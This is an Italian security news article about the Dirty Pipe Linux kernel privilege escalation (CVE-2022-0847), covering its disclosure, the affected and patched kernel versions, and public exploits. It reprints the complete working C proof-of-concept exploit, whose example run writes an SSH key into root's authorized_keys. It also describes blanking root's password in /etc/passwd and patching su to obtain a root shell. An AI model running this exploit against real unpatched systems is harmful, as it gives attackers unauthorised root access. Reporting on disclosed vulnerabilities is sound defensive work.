Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

Linux: Dopo Dirty Cow ecco Dirty Pipe. Una nuova privilege escalation.

Redazione RHC : 7 Marzo 2022 23:49

Una nuova vulnerabilità di Linux nota come “Dirty Pipe” consente agli utenti locali di ottenere i privilegi di root tramite un exploit disponibili pubblicamente.

Il ricercatore di sicurezza Max Kellermann ha rivelato responsabilmente la vulnerabilità “Dirty Pipe” e ha affermato che colpisce il kernel Linux 5.8 e versioni successive, anche su dispositivi Android.

La vulnerabilità è stata divulgata responsabilmente a vari manutentori Linux a partire dal 20 febbraio 2022, inclusi il team di sicurezza del kernel Linux e il team di sicurezza Android.

Scarica Gratuitamente Byte The Silence, il fumetto sul Cyberbullismo di Red Hot Cyber

"Il cyberbullismo è una delle minacce più insidiose e silenziose che colpiscono i nostri ragazzi. Non si tratta di semplici "bravate online", ma di veri e propri atti di violenza digitale, capaci di lasciare ferite profonde e spesso irreversibili nell’animo delle vittime. 
Non possiamo più permetterci di chiudere gli occhi". Così si apre la prefazione del fumetto di Massimiliano Brolli, fondatore di Red Hot Cyber, un’opera che affronta con sensibilità e realismo uno dei temi più urgenti della nostra epoca.
 Distribuito gratuitamente, questo fumetto nasce con l'obiettivo di sensibilizzare e informare. È uno strumento pensato per scuole, insegnanti, genitori e vittime, ma anche per chi, per qualsiasi ragione, si è ritrovato nel ruolo del bullo, affinché possa comprendere, riflettere e cambiare. 
Con la speranza che venga letto, condiviso e discusso, Red Hot Cyber è orgogliosa di offrire un contributo concreto per costruire una cultura digitale più consapevole, empatica e sicura. Contattaci tramite WhatsApp al numero 375 593 1011 per richiedere ulteriori informazioni oppure alla casella di posta [email protected]



Supporta RHC attraverso:
 

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.
 

Sebbene il bug sia stato corretto nei kernel Linux 5.16.11, 5.15.25 e 5.10.102, molti server continuano a eseguire kernel obsoleti, rendendo il rilascio di questo exploit un problema significativo per gli amministratori di server.

La vulnerabilità viene rilevata come CVE-2022-0847 e consente a un utente non privilegiato di iniettare e sovrascrivere dati in file di sola lettura, inclusi i processi SUID eseguiti come root.

Kellerman ha scoperto il bug dopo aver rintracciato un bug che stava danneggiando i registri di accesso al server Web per uno dei suoi clienti.

Kellerman afferma che la vulnerabilità è simile alla  vulnerabilità Dirty COW  (CVE-2016-5195) risolta nel 2016.

Come parte della divulgazione di Dirty Pipe , Kellerman ha rilasciato un exploit proof-of-concept (PoC) che consente agli utenti locali di inserire i propri dati in file sensibili di sola lettura, rimuovendo le restrizioni o modificando le configurazioni per fornire un accesso maggiore di quello che avrebbero normalmente.

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

Ad esempio, il ricercatore di sicurezza Phith0n ha  illustrato come utilizzare l’exploit per modificare il file /etc/passwd in modo che l’utente root non abbia una password. 

Demonstration of the CVE-2016-5195 DirtyPipe vulnerability
Esempio di lancio dell’exploit (fonte BleepingComputer)

Una volta eseguita questa modifica, l’utente non privilegiato può semplicemente eseguire il comando “su root” per ottenere l’accesso all’account root

Tuttavia, oggi è stato rilasciato pubblicamente anche un exploit aggiornato dal ricercatore di sicurezza BLASTY  che rende ancora più facile ottenere i privilegi di root applicando una patch al comando /usr/bin/su per rilasciare una shell di root in /tmp/sh e quindi e lo script.

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

Lista degli articoli

Articoli in evidenza

L’Italia nel mondo degli Zero Day c’è! Le prime CNA Italiane sono Leonardo e Almaviva!
Di Massimiliano Brolli - 06/10/2025

Se n’è parlato molto poco di questo avvenimento, che personalmente reputo strategicamente molto importante e segno di un forte cambiamento nella gestione delle vulnerabilità non documentate in Ita...

Apple nel mirino? Presunta rivendicazione di data breach da 9 GB su Darkforums
Di Inva Malaj - 05/10/2025

Autore: Inva Malaj e Raffaela Crisci 04/10/2025 – Darkforums.st: “303” Rivendica Data Breach di 9 GB su Apple.com Nelle prime ore del 4 ottobre 2025, sul forum underground Darkforums è comparsa...

SoopSocks: il pacchetto PyPI che sembrava un proxy ma era una backdoor per Windows
Di Antonio Piazzolla - 04/10/2025

La storia di SoopSocks è quella che, purtroppo, conosciamo bene: un pacchetto PyPI che promette utilità — un proxy SOCKS5 — ma in realtà introduce un impianto malevolo ben orchestrato. Non stia...

L’informatica non è più una carriera sicura! Cosa sta cambiando per studenti e aziende
Di Redazione RHC - 04/10/2025

Per decenni, l’informatica è stata considerata una scelta professionale stabile e ricca di opportunità. Oggi, però, studenti, università e imprese si trovano davanti a un panorama radicalmente m...

Quando l’hacker si ferma al pub! Tokyo a secco di birra Asahi per un attacco informatico
Di Redazione RHC - 03/10/2025

Lunedì scorso, Asahi Group, il più grande produttore giapponese di birra, whisky e bevande analcoliche, ha sospeso temporaneamente le sue operazioni in Giappone a seguito di un attacco informatico c...